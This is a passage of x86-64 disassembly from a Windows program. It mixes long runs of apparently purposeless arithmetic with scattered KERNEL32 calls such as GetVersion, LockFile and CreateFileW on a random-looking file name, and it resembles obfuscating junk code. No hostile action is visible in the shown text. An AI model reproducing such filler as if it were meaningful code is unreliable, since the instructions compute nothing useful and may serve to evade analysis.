mov rax, qword [rsp + 0x12fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed0]
sub eax, ecx
mov word [rsp + 0x2008], ax
movzx eax, byte [rsp + 0x6f8]
mov byte [rsp + 0x730], al
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x97b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12fd8]
mov dword [rcx], eax
movzx eax, word [0x140362450]
mov word [rsp + 0x2b88], ax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a44], eax
movzx eax, byte [rsp + 0x72f]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
mov byte [rsp + 0x72d], al
mov eax, dword [rsp + 0x9808]
mov dword [0x140369bc4], eax
lea rax, [rsp + 0x81e0]
mov qword [rsp + 0x13000], rax
mov rax, qword [0x140369bb8]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a14], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f00]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x72a]
mov rcx, qword [rsp + 0x12f70]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x585], al
movzx eax, word [rsp + 0x2b88]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov eax, dword [rsp + 0x99b4]
mov dword [rsp + 0x9a48], eax
mov rax, qword [0x140369bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59fc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9998]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a28], eax
lea rax, [rsp + 0x59fc]
mov qword [0x140369bc8], rax
mov eax, dword [rsp + 0x9a14]
mov ecx, dword [0x14036244c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a84], eax
mov edx, 0x1844
mov rcx, qword [rsp + 0x12f80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a4c], eax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x730]
and eax, ecx
mov rcx, qword [rsp + 0x12f60]
mov byte [rcx], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x13008], rax
movzx eax, byte [rsp + 0x72f]
movzx ecx, byte [rsp + 0x72d]
sub eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
movzx eax, word [rsp + 0x13d8]
imul eax, eax, 0xf2f
mov word [rsp + 0x280c], ax
mov eax, dword [rsp + 0x97b4]
mov dword [rsp + 0x9a50], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [0x140369bc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a10], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x13010], rax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x12ff8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140362448], ax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov ecx, dword [0x140369b78]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0x99b4]
mov qword [rsp + 0x13018], rax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8880]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
lea rax, [rsp + 0x2324]
mov qword [rsp + 0x13020], rax
movzx eax, byte [rsp + 0x1c8]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
mov qword [rsp + 0x20], 0
mov r9d, 0x2e48
mov r8d, 0x73f
mov edx, 0xc
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x12fc8]
mov eax, dword [rax]
mov dword [rsp + 0x9a54], eax
mov rax, qword [rsp + 0x12ff0]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12fa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12e98]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140362454], ax
movsx eax, byte [rsp + 0x6f8]
mov rcx, qword [rsp + 0x12ea0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x491], al
movzx eax, byte [rsp + 0x585]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x49c], al
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b80]
and eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x13028], rax
mov dword [rsp + 0x20], 0x2232
mov r9d, 0x17c3
mov r8d, 0x3f46
mov edx, 0xfaa
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a58], eax
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x9998]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [0x140369bc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ea8]
mov dword [rcx], eax
lea rax, [rsp + 0x59fc]
mov qword [rsp + 0x13030], rax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [0x140369bc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a14], eax
lea rax, [rsp + 0x72f]
mov qword [rsp + 0x13038], rax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362450], ax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9a18]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fa0]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81e0], eax
mov rax, qword [rsp + 0x12ef0]
mov eax, dword [rax]
mov dword [rsp + 0x9a5c], eax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9a34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a18], eax
movzx eax, byte [rsp + 0x72d]
movzx ecx, byte [rsp + 0x72f]
and eax, ecx
mov byte [rsp + 0x1f3], al
movzx eax, word [rsp + 0x2b80]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x280c], ax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a04], eax
movzx eax, byte [0x140363edd]
mov byte [rsp + 0x731], al
movsx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0x13008]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x12f30]
mov word [rcx], ax
lea rax, [rsp + 0x99e4]
mov qword [0x140369bd0], rax
mov eax, dword [rsp + 0x9a30]
movzx ecx, al
mov eax, dword [0x14036244c]
shl eax, cl
mov rcx, qword [rsp + 0x13000]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b84]
mov word [rsp + 0x2b8c], ax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4ab90]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a60], eax
movzx eax, byte [rsp + 0x630]
mov rcx, qword [rsp + 0x12e90]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12dd8]
mov byte [rcx], al
lea rax, [0x14036244c]
mov qword [rsp + 0x13040], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
mov rax, qword [rsp + 0x13028]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9a28]
shr eax, cl
mov rcx, qword [rsp + 0x12f58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ea8]
mov rcx, qword [rsp + 0x12eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13000]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ff0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x92e8], eax
movzx eax, byte [rsp + 0x630]
mov rcx, qword [rsp + 0x12f90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c8], al
movzx eax, word [rsp + 0x2b80]
mov word [0x140369bd8], ax
mov rax, qword [0x140369bd0]
mov eax, dword [rax]
mov dword [rsp + 0x9a64], eax
mov eax, dword [rsp + 0x81e0]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13040]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a48]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a5c]
mov qword [rsp + 0x13048], rax
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ff0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9940], eax
lea rax, [rsp + 0x730]
mov qword [rsp + 0x13050], rax
mov dword [rsp + 0x20], 0x2232
mov r9d, 0x17c3
mov r8d, 0x3f46
mov edx, 0xfaa
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x12ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12e98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ed0], ax
lea rax, [rsp + 0x2b7c]
mov qword [rsp + 0x13058], rax
mov rax, qword [rsp + 0x12fe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14035259f], al
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov dword [rsp + 0x9998], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x9a28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x280c]
sub eax, ecx
mov word [rsp + 0x29ac], ax
movzx eax, byte [0x14035259f]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72d], al
mov eax, dword [rsp + 0x99b4]
mov dword [rsp + 0x9a6c], eax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9998]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a34], eax
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ec0]
mov qword [rsp + 0x13060], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13060]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a40], eax
lea rax, [rsp + 0x9a54]
mov qword [rsp + 0x13068], rax
lea rax, [rsp + 0x72b]
mov qword [0x140369be0], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9938], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2b84]
sar eax, cl
mov word [rsp + 0x178c], ax
lea rax, [rsp + 0x99e4]
mov qword [rsp + 0x13070], rax
mov rax, qword [rsp + 0x13030]
mov rcx, qword [rsp + 0x12ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12fd8]
mov dword [rcx], eax
movsx eax, word [0x140362454]
movsx ecx, word [rsp + 0x2b74]
and eax, ecx
mov rcx, qword [rsp + 0x12f30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x730]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6fc], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13078], rax
mov rax, qword [rsp + 0x13010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72a], al
movzx eax, word [rsp + 0x2324]
mov word [rsp + 0x2b90], ax
mov rax, qword [rsp + 0x13028]
mov ecx, dword [rsp + 0x99d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9a48]
add ecx, eax
mov eax, ecx
mov dword [0x140369b9c], eax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9940], eax
mov rax, qword [rsp + 0x12f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8924]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
lea rax, [rsp + 0x9998]
mov qword [rsp + 0x13080], rax
mov rax, qword [0x140369bb8]
mov rcx, qword [rsp + 0x12fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a54], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
movzx eax, word [rsp + 0x29ac]
mov word [rsp + 0x2b94], ax
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x72b]
or eax, ecx
mov rcx, qword [rsp + 0x12dd8]
mov byte [rcx], al
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x13088], rax
mov rax, qword [rsp + 0x12f68]
mov rcx, qword [rsp + 0x12fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99d8], eax
mov eax, dword [rsp + 0x92e8]
movzx ecx, al
mov eax, dword [rsp + 0x997c]
shl eax, cl
mov rcx, qword [rsp + 0x13018]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.W0RsjxXSdYMkpZLWfGuvl
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13090], rax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a1c], eax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov dword [0x140369be8], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b90]
sar eax, cl
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0x13010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
lea rax, [rsp + 0x2008]
mov qword [rsp + 0x13098], rax
mov rax, qword [rsp + 0x13050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6fc]
and eax, ecx
mov byte [rsp + 0x491], al
mov rax, qword [0x140369bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f00]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a48]
mov dword [rsp + 0x9a70], eax
movzx eax, word [rsp + 0x2b94]
movzx ecx, word [rsp + 0x2b84]
or eax, ecx
mov word [rsp + 0x2b7c], ax
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3d2], al
mov rax, qword [rsp + 0x13080]
mov rcx, qword [rsp + 0x12f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140369bc4], eax
mov rax, qword [rsp + 0x12fc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a70], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov eax, dword [rsp + 0x8880]
mov ecx, dword [0x140369b9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13018]
mov dword [rcx], eax
mov eax, dword [rsp + 0x99b8]
mov dword [rsp + 0x9a74], eax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
lea rax, [rsp + 0x1588]
mov qword [rsp + 0x130a0], rax
mov rax, qword [rsp + 0x13068]
mov ecx, dword [rsp + 0x9a48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov dword [rsp + 0x9a78], eax
mov rax, qword [0x140369ba8]
mov ecx, dword [rsp + 0x9a50]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a14]
mov dword [0x140369bec], eax
mov rax, qword [rsp + 0x13030]
mov ecx, dword [rsp + 0x9a2c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ef8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x518], al
movsx eax, word [rsp + 0x2008]
movsx ecx, word [rsp + 0x1ed0]
xor eax, ecx
mov rcx, qword [rsp + 0x13098]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72b]
mov byte [rsp + 0x732], al
mov rax, qword [0x140369b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
sar eax, cl
mov word [rsp + 0x2b94], ax
mov rax, qword [rsp + 0x12de0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99d8], eax
mov eax, dword [rsp + 0x9a40]
mov ecx, dword [rsp + 0x9a24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0x13038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12fe0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b94]
movzx ecx, word [rsp + 0x2b80]
or eax, ecx
mov word [0x140369b74], ax
lea rax, [rsp + 0x9974]
mov qword [rsp + 0x130a8], rax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0x81e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a10], eax
mov rax, qword [0x140369bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a70], eax
lea rax, [rsp + 0x9a64]
mov qword [rsp + 0x130b0], rax
movzx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0x13020]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b88], ax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x130b8], rax
mov rax, qword [rsp + 0x12fc8]
mov rcx, qword [rsp + 0x12ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8880]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a40], eax
lea rax, [rsp + 0x491]
mov qword [0x140369bf0], rax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a7c], eax
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x130c0], rax
movzx eax, byte [rsp + 0x72e]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c8], al
mov rax, qword [rsp + 0x13058]
movzx eax, word [rax]
mov word [rsp + 0x2b98], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
mov dword [rsp + 0x9a80], eax
mov rax, qword [rsp + 0x12ee8]
mov rcx, qword [rsp + 0x12fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a10], eax
mov eax, dword [rsp + 0x9a5c]
movzx ecx, al
mov eax, dword [0x140369bec]
shl eax, cl
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
lea rax, [rsp + 0x8924]
mov qword [rsp + 0x130c8], rax
movzx eax, byte [rsp + 0x630]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x728], al
lea rax, [0x140362450]
mov qword [0x140369bf8], rax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [rsp + 0x12f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5330], eax
mov rax, qword [rsp + 0x12fd8]
mov rcx, qword [rsp + 0x13048]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x53f0], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [0x140369bc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a2c], eax
mov eax, dword [rsp + 0x9a50]
mov dword [rsp + 0x9a84], eax
movzx eax, word [rsp + 0x2b80]
mov rcx, qword [0x140369ba0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12f18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c8]
movzx ecx, byte [rsp + 0x630]
sub eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ea0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x72c], al
mov rax, qword [rsp + 0x13098]
movsx eax, word [rax]
imul eax, eax, 0x4a4
mov word [rsp + 0x1ed0], ax
lea rax, [rsp + 0x9808]
mov qword [0x140369c00], rax
mov eax, dword [rsp + 0x8924]
mov dword [rsp + 0x9a88], eax
movzx eax, word [rsp + 0x13d8]
movzx ecx, word [rsp + 0x2b7c]
add eax, ecx
mov word [rsp + 0x2324], ax
mov edx, 0x26c0
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9944], eax
movzx eax, byte [rsp + 0x729]
mov byte [rsp + 0x733], al
mov eax, dword [rsp + 0x8924]
mov ecx, dword [rsp + 0x92e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
mov rax, qword [0x140369c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a18], eax
lea rax, [rsp + 0x6b08]
mov qword [rsp + 0x130d0], rax
mov rax, qword [rsp + 0x13018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a30], eax
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0x130d8], rax
mov rax, qword [0x140369bb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1588]
add eax, ecx
mov word [0x140362458], ax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12de0]
mov qword [rsp + 0x130e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x130e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13028]
mov dword [rcx], eax
lea rax, [rsp + 0x9950]
mov qword [rsp + 0x130e8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a8c], eax
mov eax, dword [rsp + 0x9a14]
mov ecx, dword [rsp + 0x8880]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a30]
movzx ecx, al
mov eax, dword [rsp + 0x9a24]
sar eax, cl
mov dword [rsp + 0x99b4], eax
mov rax, qword [rsp + 0x13040]
mov eax, dword [rax]
mov ecx, dword [0x14036244c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca0], eax
movsx eax, byte [rsp + 0x730]
movsx ecx, byte [rsp + 0x518]
and eax, ecx
mov byte [rsp + 0x731], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x130f0], rax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2b80]
add eax, ecx
mov word [rsp + 0x29ac], ax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
mov byte [0x140363edf], al
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9a18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5330], eax
lea rax, [0x140369bc4]
mov qword [rsp + 0x130f8], rax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x72a], al
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9980], eax
lea rax, [rsp + 0x1588]
mov qword [rsp + 0x13100], rax
mov rax, qword [0x140369b90]
mov rcx, qword [rsp + 0x13048]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x130d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a64]
mov ecx, dword [rsp + 0x99b8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ea8]
mov eax, dword [rax]
mov dword [rsp + 0x9a90], eax
mov rax, qword [rsp + 0x12fd8]
mov rcx, qword [rsp + 0x12f78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8924], eax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x130a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x130b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x337], al
mov rax, qword [rsp + 0x130b0]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x130f8]
mov dword [rcx], eax
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x13108], rax
mov rax, qword [rsp + 0x130f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b74]
sar eax, cl
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
